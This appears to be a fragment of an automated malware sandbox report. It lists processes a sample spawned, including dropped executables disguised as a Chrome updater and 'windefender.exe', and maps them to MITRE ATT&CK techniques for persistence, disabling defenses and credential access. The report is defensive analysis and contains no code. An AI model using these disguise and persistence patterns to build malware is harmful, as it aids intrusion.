PID:984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4064 -ip 4064
1⤵
PID:4444

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
1⤵
- Executes dropped EXE
PID:2624

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
PID:1576

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
PID:4560

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
1⤵
PID:3652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery